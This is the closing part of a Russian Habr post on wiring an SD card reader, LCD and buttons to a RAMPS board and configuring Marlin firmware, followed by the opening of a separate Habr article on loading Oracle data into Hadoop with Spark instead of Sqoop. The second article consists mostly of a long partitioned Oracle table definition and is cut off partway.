Картриадер подключается к разъему AUX-3 (слева пины RAMPS, справа — SD):
пин D50(MISO) — DO(MISO);
пин D51(MOSI) — делитель — DI(MOSI);
пин D52(SCK) — делитель — SCK;
пин D53 — делитель — CS;
3.3 вольта (со стабилизатора) — VCC;
GND — GND(VSS);
и при наличии SD Detect подключаем к нему пин D43 разъема AUX-4.
Кнопки и дисплей подключаются к разъему AUX-4.
Дисплей (слева пины RAMPS, справа — дисплея (шина данных начинается с D0)):
пин D16 — RS;
пин D17 — Enable (E);
пин D23 — Data 4 (D4);
пин D25 — Data 5 (D5);
пин D27 — Data 6 (D6);
пин D29 — Data 7 (D7);
5 вольт — VDD;
GND — VSS;
Подстроечный резистор подключаем к 5 вольтам и земле, а выход к пину VO(контрастность);
Пин RS дисплея подключаем к земле;
При наличии подсветки, подключаем 5 вольт через резистор 1.8кОм и землю.
Кнопки подключаются к земле и:
пин D31 — Up;
пин D33 — Down;
пин D35 — Click;
По умолчанию в прошивке настроены именно эти пины. Для подключения к другим, необходимо подправить файл pins.h в прошивке.
Для запуска поддержки SD карт, символьного дисплея и кнопок в прошивке в файле configuration.h раскомментируем строку:
```
#define REPRAP_DISCOUNT_SMART_CONTROLLER
```
При этом автоматически определяются ULTIPANEL, NEWPANEL, SDSUPPORT и ULTRA\_LCD, отвечающие за работу дисплея, кнопок и картриадера.
Имя принтера, отображаемое на экране, задается строкой:
```
#define CUSTOM_MENDEL_NAME "This Mendel"
```
Количество символов и строк дисплея задается параметрами LCD\_WIDTH и LCD\_HEIGHT соответственно:
**задаем размер дисплея**
```
#ifdef ULTIPANEL
// #define NEWPANEL //enable this if you have a click-encoder panel
#define SDSUPPORT
#define ULTRA_LCD
#ifdef DOGLCD // Change number of lines to match the DOG graphic display
#define LCD_WIDTH 20
#define LCD_HEIGHT 5
#else
#define LCD_WIDTH 20 // менять эти
#define LCD_HEIGHT 4 // два параметра
#endif
#else //no panel but just LCD
#ifdef ULTRA_LCD
#ifdef DOGLCD // Change number of lines to match the 128x64 graphics display
#define LCD_WIDTH 20
#define LCD_HEIGHT 5
#else
#define LCD_WIDTH 16
#define LCD_HEIGHT 2
#endif
#endif
#endif
```
Для поддержки кнопок вместо энкодера в файле ultralcd.cpp **находим строки**
```
//manage encoder rotation
uint8_t enc=0;
if(buttons&EN_A)
enc|=(1<<0);
if(buttons&EN_B)
enc|=(1<<1);
if(enc != lastEncoderBits)
{
switch(enc)
{
case encrot0:
if(lastEncoderBits==encrot3)
encoderDiff++;
else if(lastEncoderBits==encrot1)
encoderDiff--;
break;
case encrot1:
if(lastEncoderBits==encrot0)
encoderDiff++;
else if(lastEncoderBits==encrot2)
encoderDiff--;
break;
case encrot2:
if(lastEncoderBits==encrot1)
encoderDiff++;
else if(lastEncoderBits==encrot3)
encoderDiff--;
break;
case encrot3:
if(lastEncoderBits==encrot2)
encoderDiff++;
else if(lastEncoderBits==encrot0)
encoderDiff--;
break;
}
}
lastEncoderBits = enc;
```
**меняем на**
```
//manage encoder rotation
uint8_t enc=0;
if(buttons&EN_A) {
encoderDiff = 1;
delay(10);
}
if(buttons&EN_B){
encoderDiff = -1;
delay(10);
}
```
При правильной сборке, после заливки прошивки, можно убрать USB кабель в ящик стола и печатать с SD карты.
На этом пока все. Как обычно с нетерпением жду вопросов и комментариев.
P.S. В ближайшем будущем планирую поставить автокалибровку стола с сервомотором. И собрать каркас второго принтера. | https://habr.com/ru/post/231743/ | null | ru | null |
# Как реализовать магию Sqoop для загрузки данных через Spark
Очень часто приходится слышать, что Sqoop — это серебряная пуля для загрузки данных большого объёма с реляционных БД в Hadoop, особенно с Oracle, и Spark-ом невозможно достигнуть такой производительности. При этом приводят аргументы, что sqoop — это инструмент, заточенный под загрузку, а Spark предназначен для обработки данных.
Меня зовут Максим Петров, я руководитель департамента "Чаптер инженеров данных и разработчиков", и я решил написать инструкцию о том, как правильно и быстро загружать данные Spark, основываясь на принципах загрузки Sqoop.
Первичное сравнение технологий
------------------------------
В нашем примере будем рассматривать загрузку данных из таблиц OracleDB.
Рассмотрим случай, когда нам необходимо полностью перегрузить таблицу/партицию на кластер Hadoop c созданием метаданных hive.
Осторожно, много кода
```
-- DWH.SERVICE_FEATURE definition
CREATE TABLE "DWH"."SERVICE_FEATURE"
( "BAN" NUMBER(9,0) NOT NULL ENABLE,
"SUBSCRIBER_NO" CHAR(11) NOT NULL ENABLE,
"SOC" CHAR(9) NOT NULL ENABLE,
"SOC_SEQ_NO" NUMBER(9,0) NOT NULL ENABLE,
"SERVICE_FTR_SEQ_NO" NUMBER(9,0) NOT NULL ENABLE,
"SYS_CREATION_DATE" DATE NOT NULL ENABLE,
"SYS_UPDATE_DATE" DATE,
"OPERATOR_ID" NUMBER(9,0),
"APPLICATION_ID" CHAR(6),
"DL_SERVICE_CODE" CHAR(5),
"DL_UPDATE_STAMP" NUMBER(4,0),
"SOC_EFFECTIVE_DATE" DATE NOT NULL ENABLE,
"CUSTOMER_ID" NUMBER(9,0) NOT NULL ENABLE,
"FEATURE_CODE" CHAR(6) NOT NULL ENABLE,
"SERVICE_TYPE" CHAR(1) NOT NULL ENABLE,
"SOC_LEVEL_CODE" CHAR(1) NOT NULL ENABLE,
"FTR_EFFECTIVE_DATE" DATE NOT NULL ENABLE,
"FTR_EFF_RSN_CODE" CHAR(1),
"FTR_EXPIRATION_DATE" DATE,
"FTR_EXP_RSN_CODE" CHAR(1),
"RC_WAIVER_EFF_DATE" DATE,
"RC_WAIVER_EXPR_DATE" DATE,
"RC_WAIVER_RSN" CHAR(6),
"ADDITIONAL_INFO_AMT" NUMBER(11,2),
"ADDITIONAL_INFO_TYPE" CHAR(1),
"ADDITIONAL_INFO" VARCHAR2(500),
"CHARGE_LEVEL_CODE" CHAR(1),
"BEN" NUMBER(5,0),
"REVENUE_CODE" CHAR(3),
"SOC_RELATED" CHAR(9),
"BL_PROM_SORT_CODE" NUMBER(2,0),
"SERVICE_CLASS" CHAR(3),
"RATE_CODE" CHAR(9),
"RC_EXPIRATION_DATE" DATE,
"RC_ADVPYM_WAIVE_EFF_DT" DATE,
"RC_ADVPYM_WAIVE_EXPR_DT" DATE,
"RC_ADVPYM_WAIVE_RSN" CHAR(6),
"RC_ADVPYM_BILL_SEQ_NO" NUMBER(3,0),
"RENEWAL_RATE_CODE" CHAR(9),
"SECONDARY_TN" CHAR(11),
"CONV_RUN_NO" NUMBER(3,0),
"PORT_IN_START_DATE" DATE,
"PORT_IN_END_DATE" DATE
) PCTFREE 10 PCTUSED 40 INITRANS 7 MAXTRANS 255
NOCOMPRESS LOGGING
STORAGE(
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA"
PARTITION BY RANGE ("BAN")
(PARTITION "SERVICE_FEATURE_1" VALUES LESS THAN (18424929) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_2" VALUES LESS THAN (43933393) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_3" VALUES LESS THAN (65938220) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_4" VALUES LESS THAN (78030882) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_5" VALUES LESS THAN (89426107) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_6" VALUES LESS THAN (99364535) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_7" VALUES LESS THAN (105756681) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_8" VALUES LESS THAN (111776927) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_9" VALUES LESS THAN (117780453) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_10" VALUES LESS THAN (123780786) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_11" VALUES LESS THAN (129789421) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_12" VALUES LESS THAN (135790871) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_13" VALUES LESS THAN (141825258) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_14" VALUES LESS THAN (147827477) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_15" VALUES LESS THAN (153829228) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_16" VALUES LESS THAN (159835744) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_17" VALUES LESS THAN (165838495) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_18" VALUES LESS THAN (171850405) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_19" VALUES LESS THAN (177898201) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_20" VALUES LESS THAN (183970359) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_21" VALUES LESS THAN (190047208) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_22" VALUES LESS THAN (196075759) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_23" VALUES LESS THAN (202078088) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_24" VALUES LESS THAN (208151076) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_25" VALUES LESS THAN (345838310) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_26" VALUES LESS THAN (351838775) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_27" VALUES LESS THAN (357839253) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_28" VALUES LESS THAN (363851043) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_29" VALUES LESS THAN (369857876) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_30" VALUES LESS THAN (375861106) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_31" VALUES LESS THAN (381863539) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_32" VALUES LESS THAN (387914806) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_33" VALUES LESS THAN (393921028) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_34" VALUES LESS THAN (399926438) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_35" VALUES LESS THAN (405929686) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_36" VALUES LESS THAN (411936420) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_37" VALUES LESS THAN (417974400) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_38" VALUES LESS THAN (423985227) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_39" VALUES LESS THAN (429992484) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_40" VALUES LESS THAN (436183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_41" VALUES LESS THAN (442183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_42" VALUES LESS THAN (448183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_43" VALUES LESS THAN (454183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_44" VALUES LESS THAN (460183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
